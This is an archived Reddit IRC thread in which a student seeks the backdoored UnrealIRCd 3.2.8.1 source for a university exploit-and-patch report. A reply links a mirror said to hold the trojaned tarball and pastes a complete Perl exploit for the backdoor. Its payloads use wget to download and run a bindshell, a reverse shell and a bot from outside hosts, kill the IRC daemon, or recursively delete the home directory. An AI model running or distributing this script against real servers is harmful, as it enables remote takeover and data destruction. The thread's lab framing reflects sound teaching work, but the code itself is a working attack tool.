Bad Unreal IRCD 3.2.8.1 For University.
reddit / irc

----------------------------------------------------------------------
FacePudding · 2014-03-28 13:13

Hey, i have to do a report for university. In this report i have to
set up, exploit and patch an irc server. I was wondering if anyone
knew where i could download the trojan version of unrealircd-3.2.8.1.
I would any  help thank you !

----------------------------------------------------------------------
[deleted] · 2014-03-28 13:51

[deleted]

----------------------------------------------------------------------
FacePudding · 2014-03-28 14:07

This version of unreal isnt the backdoored version. The md5 sum of
this version is the official version.

Backdoored version (BAD) is: 752e46f2d873c1679fa99de3f52a274d
Official version (GOOD) is: 7b741e94e867c0a7370553fd01506c66

----------------------------------------------------------------------
[deleted] · 2014-03-28 21:38

Try [this version of 3.2.8.1](ftp://ftp.be.netbsd.org/pub/pkgsrc/distf
iles/Unreal3.2.8.1.tar.gz), which was mirrored at the right time
(2010)

with this perl script:

    #!/usr/bin/perl
    # Unreal3.2.8.1 Remote Downloader/Execute Trojan
    # DO NOT DISTRIBUTE -PRIVATE-
    # -iHaq (2l8)

    use Socket;
    use IO::Socket;

    ## Payload options
    my $payload1 = 'AB; cd /tmp; wget
http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O
bindshell; chmod +x bindshell; ./bindshell &';
    my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt
-O bot; chmod +x bot; ./bot &';
    my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O
rshell; chmod +x rshell; ./rshell &';
    my $payload4 = 'AB; killall ircd';
    my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';

    $host = "";
    $port = "";
    $type = "";
    $host = @ARGV[0];
    $port = @ARGV[1];
    $type = @ARGV[2];

    if ($host eq "") { usage(); }
    if ($port eq "") { usage(); }
    if ($type eq "") { usage(); }

    sub usage {
      printf "\nUsage :\n";
      printf "perl unrealpwn.pl <host> <port> <type>\n\n";
      printf "Command list :\n";
      printf "[1] - Perl Bindshell\n";
      printf "[2] - Perl Reverse Shell\n";
      printf "[3] - Perl Bot\n";
      printf "-----------------------------\n";
      printf "[4] - shutdown ircserver\n";
      printf "[5] - delete ircserver\n";
      exit(1);
    }

    sub unreal_trojan {
      my $ircserv = $host;
      my $ircport = $port;
      my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv,
PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to
$ircserv on $ircport ...\n\n";
      print "[+] Payload sent ...\n";
      if ($type eq "1") {
        print $sockd "$payload1";
      } elsif ($type eq "2") {
        print $sockd "$payload2";
      } elsif ($type eq "3") {
        print $sockd "$payload3";
      } elsif ($type eq "4") {
        print $sockd "$payload4";
      } elsif ($type eq "5") {
        print $sockd "$payload5";
      } else {
        printf "\nInvalid Option ...\n\n";
        usage();
      }
      close($sockd);
      exit(1);
    }

    unreal_trojan();
    # EOF

----------------------------------------------------------------------
TheAmazingFailure · 2014-03-29 08:34

you sir are awesome.